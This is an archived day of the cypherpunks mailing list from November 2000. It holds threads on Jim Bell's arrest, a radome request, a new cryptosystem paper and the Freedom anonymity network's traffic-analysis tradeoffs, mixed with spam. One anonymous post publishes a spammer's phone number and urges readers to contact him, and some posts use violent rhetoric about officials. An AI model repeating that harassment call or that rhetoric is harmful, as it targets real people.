[mailto:whgiii at openpgp.net] Sent: Tuesday, November 21, 2000 10:49 AM To: Multiple recipients of list Subject: Re: [No joke] Want to buy radome In , on 11/21/00 at 02:45 AM, Lucky Green said: >I am looking for a surplus radome. The minimum diameter is 20 meters, but >the bigger, the better. The disassembled radome will need to fit into >standard ISO dry cargo containers. Alternatively, I am looking for >manufacturers of new radomes. Any pointers are appreciated. >Feel free to forward this inquiry to more appropriate fora that you might >be aware of. 20 meters is pretty big radome. The marine navigation stuff I have seen is in the 1'-2' range. what are you doing Lucky setting up anti-aircraft batteries on some abandon platform off the coast? -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3038 bytes Desc: not available URL: From carskar at netsolve.net Tue Nov 21 11:12:31 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Tue, 21 Nov 2000 14:12:31 -0500 Subject: CDR: RE: [No joke] Want to buy radome Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C739C@cobra.netsolve.net> Here are some specs on the afore-mentioned radome. http://www.radome.net/radomesize.html ok, Rush -----Original Message----- X-Loop: openpgp.net From: William H. Geiger III [mailto:whgiii at openpgp.net] Sent: Tuesday, November 21, 2000 10:49 AM To: Multiple recipients of list Subject: Re: [No joke] Want to buy radome In , on 11/21/00 at 02:45 AM, Lucky Green said: >I am looking for a surplus radome. The minimum diameter is 20 meters, but >the bigger, the better. The disassembled radome will need to fit into >standard ISO dry cargo containers. Alternatively, I am looking for >manufacturers of new radomes. Any pointers are appreciated. >Feel free to forward this inquiry to more appropriate fora that you might >be aware of. 20 meters is pretty big radome. The marine navigation stuff I have seen is in the 1'-2' range. what are you doing Lucky setting up anti-aircraft batteries on some abandon platform off the coast? -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 3016 bytes Desc: not available URL: From emc at artifact.psychedelic.net Tue Nov 21 16:51:40 2000 From: emc at artifact.psychedelic.net (Eric Cordian) Date: Tue, 21 Nov 2000 16:51:40 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <4.3.0.20001121133249.015932d0@mail.well.com> from "Declan McCullagh" at Nov 21, 2000 01:36:34 PM Message-ID: <200011220051.eAM0peL09324@artifact.psychedelic.net> Declan writes: > Check out the affidavit/complaint at: > http://www.cluebot.com/article.pl?sid=00/11/21/1944238 And from the aforementioned document... > On or about October 23, 2000, at Vancouver, within the Western District > of Washington, James Dalton Bell did travel across a state line from the > state of Washington to the state of Oregon with the intent to injure or > harrass another person, to wit, Mike McNall, and as a result of such > travel placed Mike McNall in reasonable fear of death or serious bodily > injury to himself, and to his immediate family. > On or about October 23, 2000, at Vancouver, within the Western District > of Washington, James Dalton Bell did travel across a state line from the > state of Washington to the state of Oregon with the intent to injure or > harrass another person, to wit, Jeff Gordon, and as a result of such > travel placed Jeff Gordon in reasonable fear of death or serious bodily > injury to himself, and to his immediate family. What an unmitigated crock of shit. Who would have imagined that anti-stalking laws, originally sold to the public with tear-jerking tales of battered women needing to be protected from violent boyfriends and spouses, would be employed by jackbooted thugs claiming to be in fear of their lives because publically available information about them is in the possession of the citizens they harrass and persecute. Clearly Jackboot-Americans feel they should be completely exempt from ordinary rules of accountability which apply to all other Americans, and that the state apparatus should be at their beck and call to carry out personal attacks against their critics. Laws on terrorism, conspiracy, and harrassment are being twisted daily to do an endrun around the First Amendment, and convictions are being won, and case law is being created, which says this is all fine and dandy. It's gotten to the point where one may not exercise ones right to free speech, unless one gives up ones right to freedom of action, and vice versa. One can say what one thinks of government officials, as long as one does not engage in any behavior, however legal, which constitutes action in support of that speech. And conversely, one may engage in legal action, as long as one gives up ones right to engage in legal speech. To engage in both legal action and legal speech at the same time, is to risk having the government twist ones actions into a conspiracy, and to risk getting convicted under the new plethora of laws sold to the public under various disingenuous guises, or under old laws given new interpretations. It's not necessary that the legal speech and legal action have any genuine relation. If you say the government is corrupt, and you belong to a militia, and play paintball games in the woods on weekends, then you are obviously conspiring to overthrow the government in word and deed. Similarly, it's perfectly legal to own nitric acid, and it's perfectly legal to say that IRS agents deserve to be dissolved in nitric acid, but it's very dangerous to ones personal freedom to do both at the same time. It's perfectly legal to possess publicly available information on government employees, and to possess chemicals, and electronic devices. It's also legal to go anywhere one pleases, on public property, and even on private property to ring doorbells and ask people questions, as long as one leaves when one is asked to. It's also perfectly legal to hold satirical legal proceedings against public officials, for the purpose of making a political statement. It's perfectly legal to speculate on cryptographic solutions to government corruption. But if one person does all these things simultaneously, one risks being the subject of a contrived fairy tale, written by a boob like Jeff Gordon, sprinkled with innuendo, and rubber stamped by a judge as inerrant scripture, which makes one look like the next Osama Bin Laden. So the First Amendment is effectively dead, not repealed by the will of the people, but suffocated in the dead of night by Jackboot-Americans like Jeff Gordon and his pals. (puke) -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From frissell at panix.com Tue Nov 21 13:56:01 2000 From: frissell at panix.com (Duncan Frissell) Date: Tue, 21 Nov 2000 16:56:01 -0500 Subject: CDR: Jim Bell arrested, documents online In-Reply-To: <4.3.0.20001121133249.015932d0@mail.well.com> Message-ID: <5.0.0.25.0.20001121165156.0412a210@popserver.panix.com> At 01:36 PM 11/21/00 -0800, Declan McCullagh wrote: >Check out the affidavit/complaint at: >http://www.cluebot.com/article.pl?sid=00/11/21/1944238 > >Background documents: >http://www.cluebot.com/article.pl?sid=00/11/11/101218 > >Wired News article on arrest: >http://www.wired.com/news/politics/0,1283,40300,00.html > >-Declan > So what're the sentencing guidelines for harassment of federal officials? I hope James will argue that he was gathering addresses so that he could picket them (which is legal). Petition the government for redress of grievances... I know James gets carried away with rhetoric. It' better to say things in such a way that you are immune to prosecution. You can say and do pretty much the same things. It's all in the words. DCF ---- Mods vs. Trads. Mods are much less likely than Trads to form lasting family relationships, they kill themselves and others much more frequently, they suffer more from drug and substance abuse, they are more prone to disease, they even have a higher accident rate, they have lower family incomes, their MMPIs are much more jagged, their life expectancy is shorter, and they score lower on tests designed to show levels of personal happiness or satisfaction. Sounds like a maladaption to me. From mix at mix2.hyperreal.pl Tue Nov 21 14:03:35 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Tue, 21 Nov 2000 17:03:35 -0500 Subject: CDR: HST on needing killing Message-ID: <58092e4dec10474994c2190bba1ca2cb@mix2.hyperreal.pl> Well, we talked for a while, and by that time Hoppe knew it was a joke. I said, "Have times changed? Ive threatened to drag people around Washington by their nuts behind Oldsmobiles at a hundred miles an hour. Ive advocated the slaughter of all politicians. What are the guidelines now?" He had a pretty good sense of humor. He said, "Well, you cant say that he should be strung up. If you say that to people, WHAP! Ten years. You can say he should be tarred and feathered." And I said, "Wait a minute. I dont grasp it. Whats the difference?" And Hoppe says, "I dont know. Thats the way it is. Dont go out any more and threaten to string George Bush up or stomp him to death." Q: Now, to what level of public figure does this extend? Take somebody I really hate, like Meese. Meese is not an elected official. Can I say that somebody should slice Meese open and wrap his intestines around a phone booth? A: No, you probably cant. He should be flogged -- just not to death. Q: What if we said Meese should be fucked by an elk? A: Thats apparantly harmless as hell. I believe that Ed Meese -- being a person without any honor, a fat bastard, really a congenital cheap pig in the style of and on the level of Richard Nixon -- should be locked in a large concrete basement with an elk. And the elk should be ram-fed full of acid before hes put in there. http://www.web-presence.com/mac/elk.html From bear at sonic.net Tue Nov 21 17:30:39 2000 From: bear at sonic.net (Ray Dillinger) Date: Tue, 21 Nov 2000 17:30:39 -0800 (PST) Subject: CDR: Jim Bell arrested, documents online In-Reply-To: <5.0.0.25.0.20001121165156.0412a210@popserver.panix.com> Message-ID: On Tue, 21 Nov 2000, Duncan Frissell wrote: >So what're the sentencing guidelines for harassment of federal officials? > >I hope James will argue that he was gathering addresses so that he could >picket them (which is legal). Petition the government for redress of >grievances... > >I know James gets carried away with rhetoric. It' better to say things in >such a way that you are immune to prosecution. You can say and do pretty >much the same things. It's all in the words. I have just read his paper on Assassination Politics, at http://www.jya.com/ap.htm. It seems to me that he has a not-very-realistic view of how laws are interpreted in courts, and no understanding at all that governments will make new laws or amend old ones as needed to cover new situations. Basically, assassination is illegal, and the courts will interpret the law in whatever way they need to in order to stop assassinations from happening. There may be technical arguments against specific "Misprision of Felony" and "conspiracy to commit murder" laws, but if AP results in killings being performed and killers getting paid, a court cannot possibly return a verdict that permits AP to continue. The choices are therefore "guilty" and "stop it now." I'd put heavy money on "Guilty", myself. Even if they couldn't find a specific law to charge the operator of an AP server with, or couldn't get a conviction on the laws they'd charged him/her with, they would doubtless issue a court order commanding the operators of the server to cease and desist. Also, if they couldn't get a conviction according to the law in any particular state on any particular date, the state would instantly follow up the court order by either passing a specific law against it or amending the wording of their existing "conspiracy to commit" law or "Misprision of Felony" laws. In light of his position that AP is legal and his assumption that, if found so, it could possibly remain so for more than a few hours, I'd have to doubt that he's sufficiently aware of how the law works to make the reasonable argument that you suggest. Unless, of course, it happens to be true. Bear From iarce at core-sdi.com Tue Nov 21 12:34:54 2000 From: iarce at core-sdi.com (=?iso-8859-1?Q?Iv=E1n_Arce?=) Date: Tue, 21 Nov 2000 17:34:54 -0300 Subject: CDR: NERDS paper published Message-ID: <081e01c053fa$824bd0b0$2e58a8c0@ffornicario> For those interested, CORE SDI has published the paper on NERDS (Non-Euclidean Ring Data Scrambler) a new public-key cryptosystem that was presented by two of the authors (Emiliano Kargieman and Ariel Waissbein) at the Crypto 2000 Rump Sessions It can be downloaded in PDF format from: http://www.core-sdi.com/papers/nerds.pdf The Abstract follows: "In this paper we introduce the Non-Euclidean Ring Data Scrambler public-key cryptosystem, NERDS. This cryptosystem consists of efficient liner algebra procedures and its security relies on different problems in Algebraic Number Theory over orders of number fields, such as the non-existence of division algorithms (nor efficient factorization algorithms) over non-euclidean domains" -ivan --- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, Its nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : iarce at core-sdi.com http://www.core-sdi.com Florida 141 2do cuerpo Piso 7 C1005AAG Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 ===================================================================== From jya at pipeline.com Tue Nov 21 14:49:21 2000 From: jya at pipeline.com (John Young) Date: Tue, 21 Nov 2000 17:49:21 -0500 Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <4.3.0.20001121133249.015932d0@mail.well.com> Message-ID: Interesting reading, Declan. Looks as though you get another turn on the witness stand. Who besides Declan, the Oregonian reporter, the two ladies researching terrorism, the various Gordons and other nyms, and so on, got tarred by this? From Hallmark_boxcards at update.hallmark.com Tue Nov 21 15:05:16 2000 From: Hallmark_boxcards at update.hallmark.com (Hallmark) Date: Tue, 21 Nov 2000 18:05:16 -0500 (EST) Subject: CDR: Be Original. New options let you mix and match your own holiday card Message-ID: Dear Hallmark.com, Happy Holidays from Hallmark! We're here to make your card sending easier this holiday season. Our boxed card selection has always been the best, and this year it's better than ever both in-store and online. At Hallmark.com, you can select, order and even send your holiday greetings in a new, uniquely personal way. With more than 100 different Hallmark Holiday card designs to choose from online, you can mix-and-match the perfect card design with the message that expresses the real you. Need a shorter to-do list? Let us address, stamp and mail your cards, too! Uniquely you, uniquely Hallmark. Click below for more details. http://update.hallmark.com/cgi-bin2/flo?y=eB7W0BMs6L0BPN0lN2A&userID=2192593 Use our online store locator link below to find the Hallmark Gold Crown Store nearest you. You can search for stores that offer particular services, too, like Custom Printing. It's a great on-site service for all your holiday greetings - including invitations, boxed cards, and labels. http://update.hallmark.com/cgi-bin2/flo?y=eB7W0BMs6L0BPN0lJxG&userID=2192593 Happy Holidays, Hallmark.com You are currently receiving these special promotional e-mail messages from Hallmark.com at cypherpunks at toad.com. If you do not wish to receive future messages, click here: mailto:unsubscribe_boxcards at update.hallmark.com -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 6108 bytes Desc: not available URL: From George at Orwellian.Org Tue Nov 21 15:42:33 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 21 Nov 2000 18:42:33 -0500 (EST) Subject: CDR: Two Wrongs Make a Right, or, Salt (yummy condiment) == Na (poison) + Cl (poison) Message-ID: <200011212342.SAA09192@www6.aa.psiweb.com> Generalized: a digest / digsig... # A Microsoft spokeswoman says that Ewel's announcement was # consistent with security features in Windows 2000. "This is part # of our overall commitment to security. ... Signed drivers and # trusted applications are features found today in Windows 2000, # and this capability will be supported in future versions of # Windows," she says. A program that needs to run to strict court requirements: # The FBI said that the lab report was the result of a test to # determine Carnivore's ``breaking point,'' and that laws and court # orders restricted Carnivore from being used so broadly. Privacy # advocates, however, said the test shows that Carnivore is more # powerful than the FBI has stated. Combine the two thoughts. The filter config file is separate from the digested FBI software. EPIC/EFF reviews the source code, agreeing to the FBI non-disclosure, issues a digsig. No remote control capabilities. ISP under court order loads their own NT box, loads and verifies the compiled FBI software, enters the config file to court requirements with FBI personnel watching, it gets locked in a cage. Trust, trust, trust. Verify. We trust you You trust us We're a happy, happy, bunch. With a click clak little hack Give a dog a bone This borg tattles like a good ol' drone From return61 at uole.com Tue Nov 21 16:26:32 2000 From: return61 at uole.com (return61 at uole.com) Date: Tue, 21 Nov 2000 19:26:32 -0500 Subject: CDR: Fast Cash!...Consolidate your dept and SAVE big $$$ 10413 Message-ID: <00000f3f4f03$00002166$000028ad@from pouifesi.cc.org.ar ([256.45.36.4]) by ris5s2.daidacenottere1.chuea.ceaimtv.net.ie (8.9.1a/8.9.1/1.0) with SMTP id NAE11975 ([256.45.256.4])> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 15696 bytes Desc: not available URL: From qjhr01kli at unilever.com Tue Nov 21 17:10:28 2000 From: qjhr01kli at unilever.com (Breann Adelina) Date: Tue, 21 Nov 2000 20:10:28 -0500 Subject: Rep1icaRolex' Online Shop | 1600+ modelsWatches to choose, only from tjfnq Message-ID: <8015p46140.899p63015176@unilever.com> :: New Arrival 2007 models :: RolexMens RolexLadies RolexSports RolexDateJusts A.Lange & Sohne Alain Silberstein Audemars Piguet Bell & Ross Breguet Breitling Bvlgari Cartier Chanel Chopard Chronoswiss Corum Franck Muller Glashutte Gucci Hermes Hublot IWC Jacob & Co Jaeger-Lecoultre Longines Louis Vuitton Mont Blanc Movado Omega Oris Panerai Patek Philippe Porsche Design Rado Roger Dubuis SWISS Rolex Tag Heuer Technomarine Vacheron Constantin Zenith Order Your Brand New Watches Now! http://rpher.oyclimatechange.com http://raqqc.oyclimatechange.com From mix at mix2.hyperreal.pl Tue Nov 21 17:25:19 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Tue, 21 Nov 2000 20:25:19 -0500 Subject: CDR: say hi to this spammer Message-ID: <3c603c64f18c3a6d38e2818c408e0359@mix2.hyperreal.pl> This guy has spammed the list at least 4 times. If you call the number below his name, you get this bozos personal cell phone. Why not say hi, or fax him something? > Mike Bender > 888-532-8842 From alan at clueserver.org Tue Nov 21 21:56:27 2000 From: alan at clueserver.org (Alan Olsen) Date: Tue, 21 Nov 2000 21:56:27 -0800 (PST) Subject: CDR: Re: Jim Bell arrested, documents online In-Reply-To: <200011220051.eAM0peL09324@artifact.psychedelic.net> Message-ID: On Tue, 21 Nov 2000, Eric Cordian wrote: > > On or about October 23, 2000, at Vancouver, within the Western District > > of Washington, James Dalton Bell did travel across a state line from the > > state of Washington to the state of Oregon with the intent to injure or > > harrass another person, to wit, Mike McNall, and as a result of such > > travel placed Mike McNall in reasonable fear of death or serious bodily > > injury to himself, and to his immediate family. > > > On or about October 23, 2000, at Vancouver, within the Western District > > of Washington, James Dalton Bell did travel across a state line from the > > state of Washington to the state of Oregon with the intent to injure or > > harrass another person, to wit, Jeff Gordon, and as a result of such > > travel placed Jeff Gordon in reasonable fear of death or serious bodily > > injury to himself, and to his immediate family. > > What an unmitigated crock of shit. Who would have imagined that > anti-stalking laws, originally sold to the public with tear-jerking tales > of battered women needing to be protected from violent boyfriends and > spouses, would be employed by jackbooted thugs claiming to be in fear of > their lives because publically available information about them is in the > possession of the citizens they harrass and persecute. Furthermore, Vancouver is damn near a suburb of Portland, OR. Most people in Vancouver cross the state line to avoid Washington sales tax. (I guess that makes them tax evaders as well. I wonder if Jim will get taged with that one.) sounds like Jeff Gordon is looking for a victim so he can justify a pay increase and/or promotion. > So the First Amendment is effectively dead, not repealed by the will > of the people, but suffocated in the dead of night by Jackboot-Americans > like Jeff Gordon and his pals. (puke) Yep. alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply Alan Olsen | to my mail, just hit the ctrl, alt and del keys. "In the future, everything will have its 15 minutes of blame." From nobody at noisebox.remailer.org Tue Nov 21 21:41:14 2000 From: nobody at noisebox.remailer.org (Anonymous) Date: Tue, 21 Nov 2000 22:41:14 -0700 Subject: CDR: Hey! Message-ID: From rah at shipwright.com Tue Nov 21 20:37:22 2000 From: rah at shipwright.com (R. A. Hettinga) Date: Tue, 21 Nov 2000 23:37:22 -0500 Subject: CDR: Tomorrow's Headline: 7 Hacks in Black Strike Back Message-ID: 'nuff said... Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' From baptista at pccf.net Tue Nov 21 21:39:06 2000 From: baptista at pccf.net (Joe Baptista) Date: Wed, 22 Nov 2000 00:39:06 -0500 Subject: CDR: Re: say hi to this spammer In-Reply-To: <3c603c64f18c3a6d38e2818c408e0359@mix2.hyperreal.pl> Message-ID: It's disconnected now. You have accomplished your goal. Congrats. On Tue, 21 Nov 2000, Anonymous wrote: > This guy has spammed the list at least > 4 times. If you call the number below > his name, you get this bozos personal > cell phone. > > Why not say hi, or fax him something? > > > Mike Bender > > 888-532-8842 > > > -- Joe Baptista http://www.dot.god/ dot.GOD Hostmaster +1 (805) 753-8697 From adam at cypherspace.org Tue Nov 21 22:00:47 2000 From: adam at cypherspace.org (Adam Back) Date: Wed, 22 Nov 2000 01:00:47 -0500 Subject: CDR: ZKS -- the path to world domination In-Reply-To: <20001110151045.A22615@ideath.parrhesia.com> (message from Greg Broiles on Fri, 10 Nov 2000 15:10:46 -0800) Message-ID: <200011220600.BAA01059@cypherspace.org> For some reason I didn't see Greg's message earlier and only recently saw Declan's forwarded snippets on politech (I'm not currently subscribed to politech). The closing remark at the bottom of Declan's post (from Declan) was "Neither Austin nor anyone at Zero Knowledge replied to the above message." My personal reason for not responding was I didn't see the message. Austin travels an awful lot, so I wouldn't take a lack of an immediate response as acquiescence or an unwillingness to respond. The following is as always my personal opinion. I'm going to skip over the reporting and speculation about sales figures discussion and the little skirmish over that. > > Declan fails to mention that Freedom was never targeted toward > > Cypherpunks; our goal was to incorporate Cypherpunk-level > > cryptography and philosophies into a privacy tool that would empower > > the average Internet user to manage their privacy > > online. Cypherpunks can build privacy tools for themselves; our > > target market for Freedom is consumers who are concerned with their > > privacy. > > Sure - cypherpunks are a very small market, so it would be very > difficult for even a small business to survive on cypherpunk sales > alone. > > However, that doesn't mean that cypherpunk purchases and evaluations > are unimportant, or can be dismissed. Cypherpunk opinions matter as cypherpunks are privacy and crypto-anarchy related crypto technology critics -- the analog of film critics in this domain -- the punters listen to them, reporters listen to them. And in Declan's case some reporters are able technology critics themselves. Another reason would be that freedom is a popularisation and development of cypherpunk developed technologies and ideas such as cypherpunk type I and type II remailers, alpha nymservers, PipeNet, traffic shaping etc. So it is entirely expected that the opinons of the people who developed and thought about these original technologies, and had ideas about how one might progress with them are important. Indeed a number of cypherpunks who were involved in some of these implementations and discussions are currently working at ZKS. Cypherpunks also has a pretty high clue factor on privacy and anonymity technology so you'd want to listen to what is said and worry if they were saying things which couldn't be answered. > [Greg writes about the role of early adopters, etc. all good stuff] > > What your analysis seems to miss is the role that's played by the > innovators and the early adopters in bringing a product or a > technology to a maturity level where it's acceptable to the much > larger middle market. I understand that, and offer the additional comments above. There hasn't been as much comment (apart from Wei's comments, and some offlist comments from Lucky) as one might expect about technology choices and protocol design despite the open white papers. I'm hoping the new clearer, more detailed white papers coming with 2.0 will help stimulate such discussion. > Comments on the cypherpunks list and at physical meetings seems to > suggest that Freedom is not enjoying a good adoption rate within > what's likely a big part of that adoption curve. I've only seen a > few users of ZKS nyms on public mailing lists, which ought to be a > popular use for them; a web search with Google and HotBot doesn't > reveal any use of @freedom.net email addresses showing up in mailing > list archives. Let me clarify a few things about this extrapolation. - freedom 1.x mail system used reply blocks. There were a number of problems with this reliability, usability and performance wise. Some of these were inherent to reply blocks (bit rot, and server churn causes reply blocks to die), some of it implementation related (retry semantics for mail forwarding), some of it to do with relying on third parties for long term operational reliability (which reply blocks do for you). - freedom 1.x allows you to post to news but not to read news anonymously (you have to use dejanews or some other news browser). So (You could read news non-anonymously by just using your ISP NNTP server, but clearly there are problems -- an attacker could mark messages you read and correlate you to your nyms that way.) These two things mean that there are more people using freedom 1.x browsing than freedom 1.x mail. So you aren't going to see an accurate portrayal of user base from email alone. - freedom 2.x has an all new mail system, the workings of which will be described in fair detail in a white paper which will be released RSN. Those playing with the beta will have observed this mail system in action. This new mail system is much easier to use, much more reliable, and much faster. I'd also argue that the 2.x mail system is more secure as it doesn't use reply blocks which are inherently vulnerable to subpoena attack. But then I designed it, so I'll let others critique it. (There is forward secrecy at all stages in the movement of mail in the new system, with maximum of 1/2 hour key cycling.) - freedom 2.x is also much more configurable so you can route other protocols over the cloud, or existing protocols over other ports. > If you can point to concrete numbers showing adoption rates, I'm > sure that many people would be interested - but telling us > that you (as a founder of the company) are happy with your sales > doesn't do much to tell the rest of us about what's happening > inside ZKS. My impression - from my own experience, Some negative experience with it's workings? Could you elaborate? > from the lack of apparent adoption by others, I offer the above explanation for the large imbalance between web and email users in 1.x. It's really quite severe. My gut feel is that email would be a popular app for pseudonymity. Opinions solicited of course, but I personally was usually more interested in pseudonymous or anonymous mail. It does actually matter if you use the web to look up things you're writing about and you're trying to be strongly anonymous, but typically I haven't been that paranoid. Anyway we'll see if there is a big pick up in mail usage with freedom 2.0, which will be the proof of whether or not the freedom user base likes mail. Web is probably perceived still as "relatively anonymous" for many uses despite the realities of profiling and a fair degree of logging of IPs, logins, and caller-ID by ISPs which can relatively easily be correlated with phone records. The integration mechanism with the mail system (and web, IRC, telnet, ssh etc) works as a transparent local proxy is pretty painless, and works automatically with pretty much any mailer with no user configuration of the mailer. Much smoother integration than even emacs mail-crypt's nym support. (I haven't looked at windows stuff that much, but I'm pretty sure it's nicer than private idaho etc as you get to use your existing mailer). The linux client is nicer than premail for pseudonymity too. > and from ZKS' reframing of its business from stronger protection to > weaker protection to the new "privacy consulting" stuff is that ZKS > is searching for its niche in the marketplace, and hasn't found it > yet. This isn't a re-framing, it's phase II, and it's been planned since day one. Austin has been talking about being a privacy broker between users and companies for years, it was part of the grand plan for "total world domination" since the early days. Probably some have heard him speak about it at conferences over the last couple of years. In this model you're trying to build a privacy architecture in which users can conduct business privately. So clearly involving businesses is a good idea to enrich what you can do. You're just starting to see that with phase II. The press release was kind of sloppy because it had lots of "all new" claims about Managed Privacy Services (as well as the reference to "split keys", which was actually trying to talk about reply blocks). Reading it one would tend to come away with a very disjointed view. But as I said actually MPS is only "new" in the sense that phase II of the privacy architecture plan has been gearing up for a while now. But it's all part of the big privacy architecture picture that ZKS is trying to build. So this means for example people using freedom to conduct business pseudonymously and so on. > There's nothing wrong with that - look at AT&T, or the other > long distance carriers moving away from consumer services, or > the AOL/Time merger - but denying things which are readily > apparent doesn't inspire confidence. While the press release leaves one with a disjointed impression, it's misleading. Neither the "Zero Knowledge, after poor software sales, tries new gambit" summary and title Declan came away with after reading that press release, nor the extrapolation of users from the observed mail usage are accurate pictures as I explain above. They are probably reasonable conclusions to draw from the available information, but the available information was misleading and incomplete respectively. Austin quoted by Greg: > > In fact, upon review we found that since the costs of doing the bare > > minimum padding (full link padding from the client node to the first > > server node) could not be supported by what we felt users were > > willing to pay for privacy, we reviewed our threat model and lowered > > the bar on the what we were trying to accomplish. That's not the way I would express the effect of the changes in the protocol, though it is an accurate description of understanding about traffic analysis at the time the decision was made. More recent understanding, as we examined how to strengthen the threat model is that the existing attacks are not all prevented by the original high bandwidth overhead link padding scheme. In fact it would appear that the padding does not even offer much in the way of additional protection because a powerful attacker can with similar resources to without the padding still engage in active attacks and timing attacks to achieve similar result. Greg writes: > > Based on this, we believe we are the strongest privacy solution on the > > market. (In fact most other privacy companies claim that we are 'killing a > > fly with a bazooka' by going overboard with strong crypto and multi-hop > > routing). > > I think everyone agrees that ZKS has built the strongest commercially > available client-side privacy system. > > Again, that's not the interesting question. The interesting question is > "Is it strong enough?" It's as strong as we could make it. Private interactive communications are a hard problem. As Wei and I were discussing in the "PipeNet protocol" thread in the last couple of weeks, there are 4 main properties you're trying to optimise over: 1. security (resistance to traffic analysis) 2. performance 3. bandwidth efficiency (cost) 4. DoS resistance It appears pretty hard to get more than one of these properties with theoretical optimality. PipeNet gets the first one with good theoretical security, but none of the others are good. Freedom makes an engineering tradeoff which does reasonably on all 4. If anyone has anything to suggest about how freedom protocols could be improved in any of these criteria, or how one could build a hybrid based on PipeNet, freedom or dc-nets, or other new ideas, I'm always interested to discuss. Lucky had some comments in email about padding, however as I discussed with him the padding costs bandwidth without defending against similar cost attacks. The other similar cost attacks do not appear to be possible to defend against without using PipeNet or DC-net properties. I'd invite Lucky to resume this discussion publicly as he is quoted by Declan stating ZKS didn't make freedom as strong as we could have: Lucky wrote: | Freedom (TM) as shipping does not adequately protect the users' | privacy. [...] Continuing, Wei's PipeNet has some pretty nice security properties, but it's hard to deal with the performance and DoS resistance issue. PipeNet effectively deals with the traffic analysis problem by shutting down the entire network immediately if any active traffic analysis attempts are made. It doesn't appear to be possible to distinguish between active traffic analysis attempts and network congestion or modem drops, so it also would suffer from poor performance and unreliability. DC-nets are nice too but bandwidth cost is probably prohibitively high and DoS (disrupters) are a problem there too. We're working on the traffic analysis problem trying to optimise this problem. > I think everyone agrees that ZKS has built the strongest commercially > available client-side privacy system. > > Again, that's not the interesting question. The interesting question is > "Is it strong enough?" > > Everyone who's looked at the question - from your accounts, inside ZKS, > and outside people - seems to agree that nobody knows, or if they know > they're not telling. I hope the above can start some discussion of strength against traffic analysis. > > Lucky, by claiming that we are misleading our users or not protecting their > > privacy because of the lack of resistance to traffic analysis is > > irresponsible and is allowing the best to be the enemy of the good.* > > This may be true - but your message was the first one that I've seen which > describes clearly the changes made in Freedom's design and implementation > between v1 and v2, and I'm a customer. Note v2 has not shipped yet except in beta form. The white papers are being updated to ship before or with v2, including the new mail system white paper. > (Not an active one, due to configuration issues, but you've got some > of my $, and didn't bother to tell me that the traffic-analysis > resistance I thought I paid for has been eliminated because it > turned out to be difficult.) > > While I greatly appreciate your candor - and am confident that your > analysis of the economics of the bandwidth required to foil traffic > analysis was correct - I do think there's perhaps some room for > improvement re keeping people up-to-date on what sort of protection > they can expect from Freedom and ZKS. I think we can more robustly defend the freedom protocol than that. It's pretty close to the best you can do practically with current state of the art and knowledge about defending against traffic analysis. That's a fairly aggressive statement with a practical deployed system due to all the issues that come up with engineering tradeoffs and complexities of actually developing such a complex system. So as I say it's not because we've decided not to bother, it's because when you actually look at the engineering issues, and the traffic analysis attacks, it's harder than one might predict to start with. Now I think this is a concern for everyone because with strong crypto, mathematics is on our side, and we can effectively laugh at USG's earlier attempts to put the genie back into the bottle. They lost that one. But anonymity systems, particularly interactive ones, don't appear to offer near as steep an advantage to the defender vs the attacker. So I'd encourage people to think about the above described problems, because in my view it is a problem that matters for crypto-anarchy. > If you are ever in the mood to update the Freedom FAQ, I suggest that > the following questions would be helpful ones to answer - The section of the FAQ that covers the questions you're asking is: http://www.freedom.net/faq/index.html?r=6#11 The short answer is no, no, and very. But with the caveat that this is a relatively complex system, and despite our best efforts at auditing code, and protocols, publishing protcols for peer review, hiring third party auditors (counterpane) there may be bugs. This is to my mind the most important aspect of open source -- so people can review what it does, and compare that to what the white papers say it's intended to do. I'd encourage people to help review the code in the same way that PGP was scrutinised. Also note the known issues with the protocols and with the current implementation are in the security issues white paper. This is being updated for 2.0. > Q: If I post a message critical of a big company using a Yahoo > forum, and the Yahoo registration data points back to my Freedom > account (email and source IP), will the big company be able to get > my personal information from you with a subpoena? > > Q: If I post a message to a mailing list which has some > source code that a big company thinks violates the DMCA, and the > big company calls the FBI, will the FBI be able to get my > personal information from you with a subpoena? > > Q: What happens if I make someone really, really angry and > they come to your offices and point guns at your employees .. > will they be able to get my personal information from you? Assume > they shoot a few people to show they're serious. Then will > you find a way to give them my personal information? What if they > take your computer equipment away from you (or one of your > participating ISP's) at gunpoint, and take it back to their > hideout for analysis. How difficult will it be for them to > get my personal information? I'd just like to make these two comment commitments which I'll reveal later when certain projects are announced to demonstrate that they were planned for some time. b26ecfce97bc6c090585a254a297ba5143280cce commit a47d3b46da014002b34d02c3a0524a3209c3c6ae commit2 (They have big random nonces in them, so don't even think about guessing). Adam From asgdas7435 at consultant.com Wed Nov 22 03:21:20 